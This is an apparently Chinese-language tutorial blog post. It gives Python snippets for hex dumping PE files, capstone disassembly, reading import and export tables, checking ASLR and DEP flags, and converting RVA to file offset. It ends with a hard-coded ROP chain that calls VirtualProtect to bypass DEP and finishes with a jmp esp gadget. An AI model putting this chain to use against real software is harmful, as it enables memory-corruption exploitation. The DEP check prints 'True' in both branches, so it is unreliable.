Python进制转换与反汇编实现流程介绍

2024-04-02 19:55

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通过利用反汇编库，并使用python编写工具，读取PE结构中的基地址偏移地址，找到OEP并计算成FOA文件偏移，使用反汇编库对其进行反汇编，并从反汇编代码里查找事先准备好的ROP绕过代码，让其自动完成搜索，这里给出实现思路与部分代码片段。

十六进制转换器可自行添加上，文件与偏移对应关系，即可实现指定位置的数据转换，这里给出坑爹版实现，自己晚膳吧。

#coding:utf-8
import os,sys
import binascii
# binascii.a2b_hex("4d")
if __name__ == "__main__":
    count = 0
    size = os.path.getsize("qq.exe")
    print("文件指针: {}".format(size))
    fp = open("qq.exe","rb")
    lis = []
    for item in range(500):
        char = fp.read(1)
        count = count + 1
        if count % 16 == 0:
            if ord(char) < 16:
                print("0" + hex(ord(char))[2:])
            else:
                print(hex(ord(char))[2:])
        else:
            if ord(char) < 16:
                print("0" + hex(ord(char))[2:] + " ",end="")
            else:
                print(hex(ord(char))[2:] + " ",end="")

二进制与字符串互转

import os
def to_ascii(h):
    list_s = []
    for i in range(0, len(h), 2):
        list_s.append(chr(int(h[i:i+2], 16)))
    return ''.join(list_s)
def to_hex(s):
    list_h = []
    for c in s:
        list_h.append(hex(ord(c))[2:])
    return ''.join(list_h)
with open("d://run.exe","rb") as fp:
    lis = []
    for x in range(10240):
        for i in range(64):
            char = fp.read(1)
            print(to_ascii(hex(ord(char))[2:]),end="")
        print("")

反汇编框架

import os
from capstone import *
CODE = b"\x55\x8b\xec\x6a\x00\xff\x15\x44\x30\x11\x00"
md = Cs(CS_ARCH_X86, CS_MODE_32)
for i in md.disasm(CODE, 0x1000):
    print("大小: %3s 地址: %-5s 指令: %-7s 操作数: %-10s"% (i.size,i.address,i.mnemonic,i.op_str))
print("*" * 100)
CODE64 = b"\x55\x48\x8b\x05\xb8\x13\x00\x00\xe9\xea\xbe\xad\xde\xff\x25\x23\x01\x00\x00\xe8\xdf\xbe\xad\xde\x74\xff"
md = Cs(CS_ARCH_X86, CS_MODE_64)
for i in md.disasm(CODE64, 0x1000):
    print("大小: %3s 地址: %-5s 指令: %-7s 操作数: %-10s"% (i.size,i.address,i.mnemonic,i.op_str))

读取pE结构的代码读取导入导出表，用Python 实在太没意思了，请看C/C++ 实现PE解析工具笔记。

def ScanImport(filename):
    pe = pefile.PE(filename)
    print("-" * 100)
    try:
        for x in pe.DIRECTORY_ENTRY_IMPORT:
            for y in x.imports:
                print("[*] 模块名称: %-20s 导入函数: %-14s" %((x.dll).decode("utf-8"),(y.name).decode("utf-8")))
    except Exception:
        pass
    print("-" * 100)
def ScanExport(filename):
    pe = pefile.PE(filename)
    print("-" * 100)
    try:
        for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
            print("[*] 导出序号: %-5s 模块地址: %-20s 模块名称: %-15s" 
            %(exp.ordinal,hex(pe.OPTIONAL_HEADER.ImageBase + exp.address),(exp.name).decode("utf-8")))
    except:
        pass
    print("-" * 100)

验证DEP+ASLR

    # 随机基址 => hex(pe.OPTIONAL_HEADER.DllCharacteristics) & 0x40 == 0x40
    if( (pe.OPTIONAL_HEADER.DllCharacteristics & 64)==64 ):
        print("基址随机化: True")
    else:
        print("基址随机化: False")
    # 数据不可执行 DEP => hex(pe.OPTIONAL_HEADER.DllCharacteristics) & 0x100 == 0x100
    if( (pe.OPTIONAL_HEADER.DllCharacteristics & 256)==256 ):
        print("DEP保护状态: True")
    else:
        print("DEP保护状态: True")
    # 强制完整性=> hex(pe.OPTIONAL_HEADER.DllCharacteristics) & 0x80 == 0x80
    if ( (pe.OPTIONAL_HEADER.DllCharacteristics & 128)==128 ):
        print("强制完整性: True")
    else:
        print("强制完整性: False")
    if ( (pe.OPTIONAL_HEADER.DllCharacteristics & 1024)==1024 ):
        print("SEH异常保护: False")
    else:
        print("SEH异常保护: True")

VA转FOA地址

import os
import pefile
def RVA_To_FOA(FilePath):
    pe = pefile.PE(FilePath)
    ImageBase = pe.OPTIONAL_HEADER.ImageBase
    for item in pe.sections:
        if str(item.Name.decode('UTF-8').strip(b'\x00'.decode())) == ".text":
            #print("虚拟地址: 0x%.8X 虚拟大小: 0x%.8X" %(item.VirtualAddress,item.Misc_VirtualSize))
            VirtualAddress = item.VirtualAddress
            VirtualSize = item.Misc_VirtualSize
            ActualOffset = item.PointerToRawData
    StartVA = hex(ImageBase + VirtualAddress)
    StopVA = hex(ImageBase + VirtualAddress + VirtualSize)
    print("[+] 代码段起始地址: {} 结束: {} 实际偏移:{} 长度: {}".format(StartVA,StopVA,ActualOffset,VirtualSize))
    with open(FilePath,"rb") as fp:
        fp.seek(ActualOffset)
        HexCode = fp.read(VirtualSize)
        print(HexCode)
RVA_To_FOA("d://lyshark.exe")

给出一条过保护的ROP链

rop = struct.pack ('<L',0x7c349614)   # ret
rop += struct.pack('<L',0x7c34728e)   # pop eax
rop += struct.pack('<L',0xfffffcdf)   #
rop += struct.pack('<L',0x7c379c10)   # add ebp,eax
rop += struct.pack('<L',0x7c34728e)   # pop eax
rop += struct.pack('<L',0xfffffdff)   # value = 0x201
rop += struct.pack('<L',0x7c353c73)   # neg eax
rop += struct.pack('<L',0x7c34373a)   # pop ebx
rop += struct.pack('<L',0xffffffff)   #
rop += struct.pack('<L',0x7c345255)   # inc ebx
rop += struct.pack('<L',0x7c352174)   # add ebx,eax
rop += struct.pack('<L',0x7c344efe)   # pop edx
rop += struct.pack('<L',0xffffffc0)   # 0x40h
rop += struct.pack('<L',0x7c351eb1)   # neg edx
rop += struct.pack('<L',0x7c36ba51)   # pop ecx
rop += struct.pack('<L',0x7c38f2f4)   # &writetable
rop += struct.pack('<L',0x7c34a490)   # pop edi
rop += struct.pack('<L',0x7c346c0b)   # ret (rop nop)
rop += struct.pack('<L',0x7c352dda)   # pop esi
rop += struct.pack('<L',0x7c3415a2)   # jmp [eax]
rop += struct.pack('<L',0x7c34d060)   # pop eax
rop += struct.pack('<L',0x7c37a151)   # ptr to virtualProtect()
rop += struct.pack('<L',0x625011ed)   # jmp esp

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